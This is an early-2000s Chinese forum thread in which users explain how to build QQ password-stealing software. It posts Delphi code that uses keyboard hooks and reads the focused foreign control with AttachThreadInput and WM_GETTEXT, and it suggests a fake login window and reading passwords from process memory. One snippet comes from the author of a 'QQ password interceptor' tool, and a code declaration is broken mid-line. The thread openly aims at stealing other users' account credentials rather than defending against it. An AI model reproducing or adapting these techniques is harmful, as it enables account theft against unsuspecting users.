很菜的问题：记录QQ密码的软件是怎样实现的呢？(50分)

e意孤行 · 2002-09-06

有谁知道，能说说吗？最好能给出大致的源码。

twos · 2002-09-06

使用Hook(钩子)呀，记录键盘和当前的窗口的输入信息。

e意孤行 · 2002-09-06

说详细点吗。

jomee · 2002-09-06

监视“QQ用户登陆”窗口，一但出现就把上面输入的密码记录下来。

cg1120 · 2002-09-06

以下是一个按键地勾子: Intercepting The TAB and ENTER Keys {the prototype for the new keyboard hook function}   function KeyboardHook(nCode: Integer; wParam: WPARAM;                         lParam: LPARAM): LResult; stdcall; var   Form1: TForm1;   WinHook: HHOOK;    // a handle to the keyboard hook function implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin   {install the keyboard hook function into the keyboard hook chain}   WinHook:=SetWindowsHookEx(WH_KEYBOARD, @KeyboardHook, 0, GetCurrentThreadID); end; procedure TForm1.FormDestroy(Sender: TObject); begin   {remove the keyboard hook function from the keyboard hook chain}   UnhookWindowsHookEx(WinHook); end; function KeyboardHook(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LResult; begin   {if we can process the hook information...}   if (nCode>-1) then     {...was the TAB key pressed?}     if (wParam=VK_TAB) then     begin       {if so, output a beep sound}       MessageBeep(0);       {indicate that the message was processed}       Result := 1;     end     else     {...was the RETURN key pressed?}     if (wParam=VK_RETURN) then     begin       {if so, and if the key is on the up stroke, cause       the focus to move to the next control}       if ((lParam shr 31)=1) then         Form1.Perform(WM_NEXTDLGCTL, 0, 0);       {indicate that the message was processed}       Result := 1;     end     else       {otherwise, indicate that the message was not processed.}       Result := 0   else     {we must pass the hook information to the next hook in the chain}     Result := CallNextHookEx(WinHook, nCode, wParam, lParam); end;

e意孤行 · 2002-09-06

没仔细看过，可不管怎么样，给分。

flower · 2002-09-06

好象是delphi帮助中的一个例子程序

wcj878 · 2002-09-21

其实不做勾子也可以考虑窗口欺骗的,做一个与QQ差不多的界面,让输入QQ号和密码的EDIT与数据库相关联,这样每次输入的QQ号与密码都添加到数据库中了呵呵

ndyufei · 2002-11-12

呵呵！这种软件如果用 Hook 的话就太夸张了吧！？我写过一个 20KB 的 QQ 密码记录工具 呵呵！

青云 · 2002-11-29

ndyufei朋友，我对这个问题比较感兴趣，我编写过关于qq千夫指的软件，我在网上看到 一个朋友用vb做了一个偷qq密码的软件，但是这家伙心太黑，要30元的注册费，而且不肯给原代码 ，这对我们这些编程爱好者来说，没有原代码的软件，就没有兴趣去研究了，我也一直认为， 要实现QQ 密码记录的功能要用到hook。   但是你却能不用hook，就象windows xp,谁也不会想到是它是用basic编写的。 所以我想请您能不能把您的代码公布出来，或者发到我的信箱里：yz_qingyun@163.com 谢谢啦！

laohe · 2002-11-29

用INI就可以了

stlont · 2002-11-29

主要原理就是监视你的输入，记录下来。 一般在后台运行一个隐藏的进程，做消息 hook, 发现qq的动作就记录键盘输入。

who_can · 2002-11-29

figozhu · 2003-08-16

我正在做，做好了，就告诉大家。

春意 · 2003-08-16

贴出以前软件发而前的测试代码：在windows 98中有效 至于2000和发送到指定的邮箱代码暂不公布！！！ 《迷你QQ密码截取器 v3.0英雄版》作者：如果你在网上下载，可能软件已无效！当时我定的使用期为一个月……如果你想试用，可以更改系统时间，将时间调为2003-01-15日以前，然后安装软件……就可截取QQ号码和密码……(发信要填写自己的信箱密码，像foxmail和outlook那样)，具体可以在软件中设置好！！！ 注：此软件对于新QQ版本不起作用！！本人也不想再升级…… //================================================================= //程序：截取信息：中文内容 //制作：春意 delphi制作 //注：(请保留以上内容) //================================================================= //所用控件：Button1、Button2、Timer1、Edit1 unit Unit1; interface uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, StdCtrls, ExtCtrls; type   TForm1 = class(TForm)     Edit1: TEdit;     Button1: TButton;     Button2: TButton;     Timer1: TTimer;     procedure FormCreate(Sender: TObject);     procedure Timer1Timer(Sender: TObject);     procedure Button1Click(Sender: TObject);     procedure Button2Click(Sender: TObject);   private     { Private declarations }   public     { Public declarations }   end; var   Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin     Button1.Caption := '开始';     Button2.Caption := '停止';     Timer1.Interval := 100;     Timer1.Enabled := false; end; procedure TForm1.Timer1Timer(Sender: TObject); // var     hwndfore,hwndfocus:hwnd; //窗口、控件句柄     dwThreadid

WORD;//线程、风格     content:array[0..255]of char; begin     Timer1.Enabled := False;     hwndfore := getforegroundwindow();     dwThreadid := getwindowthreadprocessid(hwndfore,nil);     attachThreadinput(Getcurrentthreadid(),dwThreadid,true);     hwndfocus := getfocus();     sendmessage(hwndfocus,WM_GETTEXT,100,LongInt(@content));     //判断，密码框除外     Edit1.Text :=content;     Timer1.Enabled := true; end; procedure TForm1.Button1Click(Sender: TObject); begin     Timer1.Enabled := true; end; procedure TForm1.Button2Click(Sender: TObject); begin     Timer1.Enabled := false; end; end.

jondy · 2003-08-16

据说用SENDMESSAGE可以实现，我也在研究这类软件我搞了一段代码，可惜不太明白 program Project1; {$APPTYPE CONSOLE} uses Windows,SysUtils,Messages; const     CRLF=#13#10; var     hwnd,hw,hs:integer;     sbuf:array[0..256] of char; BEGIN         hwnd:=Getwindow(hwnd,GW_HWNDFIRST); hwnd:=Getwindow(hwnd,GW_HWNDNEXT); //取得用户名 hwnd:=Getwindow(hwnd,GW_HWNDNEXT); hw:=GetWindowTextLength(hwnd); hs:=integer(@sbuf); sendmessage(hwnd,wm_gettext,100,hs); Writeln('>:'+strpas(sbuf)+CRLF); END. 有知道如何指定要取密码的程序也就是QQ呢？ 如何指定要截获的输入框呢？ 对此类问题有兴趣的朋友加426489这个QQ群，我们一起研究一下

aslqp · 2003-10-04

获取QQ密码框句柄，用wm_gettext获取密码。用getwindow获取密码框下一个句柄，这个句柄就是号码框句柄

wind28 · 2003-11-29

用个全局钩子呀！！！

刘麻子 · 2004-03-03

我想,获得登陆帐号和密码有几种方法: 1.按键钩子,记录下所有按键消息,如果加上判断当前窗口就更好 2.句柄型,监视系统,当点登陆窗口上的按钮,取得该窗体上的edit控件的内容 3.取内存,深入分析,得知某特定版本qq(或其他游戏)存放密码串的内存位置....

ranksun · 2004-03-04

说得不错， http://expert.csdn.net/Expert/topic/2298/2298878.xml?temp=.5769312 csdn的帖子，不错，是QQ的。

很菜的问题：记录QQ密码的软件是怎样实现的呢？(50分)

e意孤行

Unregistered / Unconfirmed

twos

Unregistered / Unconfirmed

e意孤行

Unregistered / Unconfirmed

jomee

Unregistered / Unconfirmed

cg1120

Unregistered / Unconfirmed

e意孤行

Unregistered / Unconfirmed

flower

Unregistered / Unconfirmed

wcj878

Unregistered / Unconfirmed

ndyufei

Unregistered / Unconfirmed

青云

Unregistered / Unconfirmed

laohe

Unregistered / Unconfirmed

stlont

Unregistered / Unconfirmed

who_can

Unregistered / Unconfirmed

figozhu

Unregistered / Unconfirmed

春意

Unregistered / Unconfirmed

jondy

Unregistered / Unconfirmed

aslqp

Unregistered / Unconfirmed

wind28

Unregistered / Unconfirmed

刘麻子

Unregistered / Unconfirmed

ranksun

Unregistered / Unconfirmed

Similar threads